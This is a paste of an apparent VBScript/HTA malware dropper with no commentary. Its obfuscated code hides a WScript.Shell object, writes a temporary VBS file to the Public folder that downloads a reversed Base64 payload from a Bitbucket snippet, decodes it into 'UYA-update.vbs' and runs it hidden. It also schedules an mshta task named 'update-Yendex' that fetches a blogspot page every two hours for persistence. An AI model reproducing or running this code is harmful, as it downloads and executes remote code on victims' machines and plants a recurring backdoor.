Guest User

VBScript-embedded-in-HTML

a guest
Dec 6th, 2021
264
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script language="VBScript">
  2. set MicrosoftWINdows = GetObject("n" "e" "w" ":" "F" "9" "3" "5" "D" "C" "2" "2" "-" "1" "C" "F" "0" "-" "1" "1" "D" "0" "-" "A" "D" "B" "9" "-" "0" "0" "C" "0" "4" "F" "D" "5" "8" "A" "0" "B")
  3. 'EXE Arch
  4. Dim pogana
  5. pogana1 = "cMd /c cd %Public% &@echo Dim xxx >>hulalalMCROSOFT.vbs &@echo Set xxx = CreateObject(""Scripting.FileSystemObject"") >>hulalalMCROSOFT.vbs &@echo Set filetxt = xxx.CreateTextFile(""%Public%\o1.txt"",True) >>hulalalMCROSOFT.vbs &@echo dim http_obj >>hulalalMCROSOFT.vbs &@echo dim stream_obj >>hulalalMCROSOFT.vbs &@echo dim shell_obj >>hulalalMCROSOFT.vbs &@echo set http_obj = CreateObject(""MSXML2.ServerXMLHTTP.6.0"") >>hulalalMCROSOFT.vbs &@echo set stream_obj = CreateObject(""ADODB.Stream"") >>hul"
  6. pogana2 = "alalMCROSOFT.vbs &@echo set shell_obj = GetObject(""new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"") >>hulalalMCROSOFT.vbs &@echo URL = ""https://bitbucket.org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2"" >>hulalalMCROSOFT.vbs &@echo http_obj.open ""GET"", URL, False >>hulalalMCROSOFT.vbs &@echo http_obj.send >>hulalalMCROSOFT.vbs &@echo stream_obj.type = 1 >>hulalalMCROSOFT.vbs &@echo stream_obj.open >>hulalalMCROSOFT.vbs &@echo stream_obj.write http_obj.responseBody >>hulalalMCROSOFT.vbs &@echo stream_obj.savetofile ""C:\User"
  7. pogana3 = "s\Public\xxx1.txt"", 2 >>hulalalMCROSOFT.vbs &@echo Set file = xxx.OpenTextFile(""C:\Users\Public\xxx1.txt"", 1) >>hulalalMCROSOFT.vbs &@echo content = file.ReadAll >>hulalalMCROSOFT.vbs &@echo content = StrReverse(content) >>hulalalMCROSOFT.vbs &@echo Dim fso >>hulalalMCROSOFT.vbs &@echo Dim fdsafdsa >>hulalalMCROSOFT.vbs &@echo Dim oNode, fdsaa >>hulalalMCROSOFT.vbs &@echo Const adTypeBinary = 1 >>hulalalMCROSOFT.vbs &@echo Const adSaveCreateOverWrite = 2 >>hulalalMCROSOFT.vbs &@echo set oNode = CreateObject("""
  8. pogana4 = "Msxml2.DOMDocument.3.0"").CreateElement(""Base64"") >>hulalalMCROSOFT.vbs &@echo oNode.dataType = ""bin.Base64"" >>hulalalMCROSOFT.vbs &@echo oNode.text = content >>hulalalMCROSOFT.vbs &@echo set fdsaa = CreateObject(""ADODB.Stream"") >>hulalalMCROSOFT.vbs &@echo fdsaa.Type = adTypeBinary >>hulalalMCROSOFT.vbs &@echo tempdir = CreateObject(""WScript.Shell"").ExpandEnvironmentStrings(""%Public%\UYA-update.vbs"") >>hulalalMCROSOFT.vbs &@echo LocalFile = tempdir >>hulalalMCROSOFT.vbs &@echo fdsaa.Open >>hulalalMCROSOFT.vbs &@echo fd"
  9. pogana5 = "saa.Write oNode.nodeTypedValue >>hulalalMCROSOFT.vbs &@echo fdsaa.savetoFile LocalFile,adSaveCreateOverWrite >>hulalalMCROSOFT.vbs &@echo set fso = CreateObject(""Scripting.FileSystemObject"") >>hulalalMCROSOFT.vbs &@echo set fdsafdsa= GetObject(""new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"") >>hulalalMCROSOFT.vbs &@echo if (fso.FileExists(LocalFile)) then >>hulalalMCROSOFT.vbs &@echo fdsafdsa.Ru1n(LocalFile) >>hulalalMCROSOFT.vbs &@echo End if >>hulalalMCROSOFT.vbs& hulalalMCROSOFT.vbs &dEl hulalalMCROSOFT.vbs"
  10. pogana = pogana1 pogana2 pogana3 pogana4 pogana5
  11. MicrosoftWINdows.Run pogana, vbHide
  12.  
  13.  
  14.  
  15.  
  16. args = "/create /sc MINUTE /mo 120 /tn """"update-Yendex """" /" & _
  17. "F /tr """"\""""M" & "s" & "H" & "t" & "A""""\""""https://madarbloghogya.blogspot.com/p/divineback222.html"""""
  18.  
  19.  
  20. Set Somosa = GetObject("new:13709620-C279-11CE-A49E-444553540000")
  21.  
  22. Somosa _
  23. . _
  24. Shellexecut1e StrReverse("s" "k" "s" "a" "t" "h" "c" "s") _
  25. ,args _
  26. , _
  27. "" _
  28. , _
  29. StrReverse("n" "e" "p" "o") , _
  30. 0
  31.  
  32.  
  33. r = StrReverse("s")
  34. m = StrReverse("M")
  35. p = StrReverse("H")
  36. tu = StrReverse("T")
  37. x = StrReverse("""")
  38. ha = StrReverse("a")
  39. culik = StrReverse("")
  40. calc = x m r p tu ha culik
  41.  
  42. window.resizeTo 0, 0
  43.  
  44. self.close
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51. Window.ReSizeTo 0, 0
  52. self.close
  53. </script>
  54.  
RAW Paste Data Copied